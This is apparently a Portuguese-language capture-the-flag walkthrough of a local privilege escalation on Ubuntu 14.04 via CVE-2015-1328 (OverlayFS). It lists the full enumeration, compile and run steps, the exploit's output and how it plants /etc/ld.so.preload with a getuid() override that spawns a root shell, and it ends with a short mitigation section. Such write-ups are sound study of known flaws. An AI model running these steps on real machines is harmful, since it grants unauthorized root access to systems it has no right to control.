
Guia passo a passo para explorar a CVE-2015-1328 (OverlayFS) e escalar privilégios de um usuário de baixo privilégio para root no Ubuntu 14.04. Inclui enumeração, compilação do exploit e execução.
O objetivo deste passo a passo foi escalar privilégios de um usuário sem privilégios (karen) para root explorando um kernel Linux vulnerável.
Após conectar-se à máquina alvo via SSH:
ssh karen@<target-ip>
Identifiquei a versão do kernel Linux:
uname -r
Saída:
3.13.0-24-generic
A máquina estava executando com o kernel .
Como a escalação de privilégios no Linux geralmente depende de kernels vulneráveis, pesquisei no Exploit-DB usando o SearchSploit:
searchsploit overlayfs ubuntu 3.13
Resultado:
Linux Kernel 3.13.0 < 3.19 (Ubuntu...) - overlayfs Local Privilege Escalation
37292.c
Esse exploit tem como alvo a CVE-2015-1328, que afeta kernels Ubuntu anteriores às versões corrigidas.
Antes de executar qualquer exploit, é importante entender o que ele faz.
O exploit abusa de uma falha no OverlayFS, o sistema de arquivos union do Linux.
A vulnerabilidade existe porque o OverlayFS lida incorretamente com permissões de arquivos quando montado dentro de um namespace de usuário (CLONE_NEWUSER).
Um usuário sem privilégios pode manipular o OverlayFS para criar ou modificar arquivos que só deveriam poder ser gravados por root.
O exploit acaba gravando em:
/etc/ld.so.preload
Esse arquivo informa ao carregador dinâmico do Linux que uma biblioteca compartilhada deve ser carregada antes de cada executável com vínculo dinâmico.
Ao forçar o sistema a carregar uma biblioteca compartilhada maliciosa, o exploit obtém execução de código como root.
Usando o SearchSploit:
searchsploit -m 37292
Isso copiou o exploit localmente:
37292.c
O exploit foi então transferido para a máquina da vítima.
Neste passo a passo, ele foi salvo como:
/tmp/ofs.c
Navegue até o diretório que contém o exploit:
cd /tmp
Compile-o usando o GCC:
gcc ofs.c -o ofs
Se a compilação for bem-sucedida, o GCC não produz saída.
Verifique se o executável existe:
ls -l
Esperado:
-rwxr-xr-x ... ofs
Execute o executável:
./ofs
O exploit exibe mensagens semelhantes a:
spawning threads
mount #1
mount #2
child threads done
/etc/ld.so.preload created
creating shared library
Por fim, ele abre um shell root:
#
Verifique os privilégios:
id
Saída:
uid=0(root) gid=0(root)
Com os privilégios de root obtidos:
cat /home/matt/flag1.txt
O arquivo agora pôde ser lido com sucesso.
O exploit realiza várias ações internamente.
unshare(CLONE_NEWUSER);
Namespaces de usuário no Linux permitem que um processo sem privilégios aparente ser root dentro do namespace, sem ser root no host.
Essa capacidade é essencial para o ataque.
clone(... CLONE_NEWNS ...)
Um namespace de montagem separado isola alterações no sistema de arquivos do restante do sistema operacional.
Isso permite que o exploit monte o OverlayFS sem afetar o sistema de arquivos global.
O exploit cria diretórios temporários:
/tmp/ns_sploit/
├── upper/
├── work/
└── o/
Em seguida, monta o OverlayFS:
Lower Layer
│
▼
OverlayFS
│
▼
Upper Layer
Devido à vulnerabilidade do kernel, o OverlayFS permite incorretamente operações que deveriam exigir privilégios de root.
/etc/ld.so.preloadO exploit renomeia um arquivo gravável dentro da montagem OverlayFS para:
ld.so.preload
Após remontar o OverlayFS sobre /etc, esse arquivo se torna:
/etc/ld.so.preload
Normalmente, apenas root deveria conseguir criar esse arquivo.
O exploit escreve um arquivo de código-fonte C:
/tmp/ofs-lib.c
Depois, compila-o:
gcc -fPIC -shared -o /tmp/ofs-lib.so /tmp/ofs-lib.c
A biblioteca compartilhada resultante substitui a função getuid().
O exploit escreve:
/tmp/ofs-lib.so
em:
/etc/ld.so.preload
Agora, todo executável com vínculo dinâmico carrega essa biblioteca maliciosa antes de qualquer biblioteca do sistema.
/bin/suPor fim:
execl("/bin/su", "su", NULL);
Quando o su inicia, a função maliciosa getuid() é executada no lugar da original.
A biblioteca:
/etc/ld.so.preloadsetresuid(0,0,0);
setresgid(0,0,0);
/bin/sh
O resultado é um shell root interativo.
A vulnerabilidade é causada pelo tratamento incorreto de permissões no OverlayFS quando usado dentro de namespaces de usuário.
Um usuário sem privilégios pode manipular o OverlayFS para criar arquivos privilegiados como:
/etc/ld.so.preload
Como o carregador dinâmico confia nesse arquivo, código arbitrário é executado como root.
Essa vulnerabilidade foi corrigida pela Ubuntu em versões atualizadas do kernel.
As estratégias de mitigação incluem:
/etc/ld.so.preload/etc/ld.so.cache# Enumerate kernel version
uname -r
# Search for exploit
searchsploit overlayfs ubuntu 3.13
# Copy exploit locally
searchsploit -m 37292
# Compile exploit
gcc ofs.c -o ofs
# Execute exploit
./ofs
# Verify privileges
id
# Read flag
cat /home/matt/flag1.txt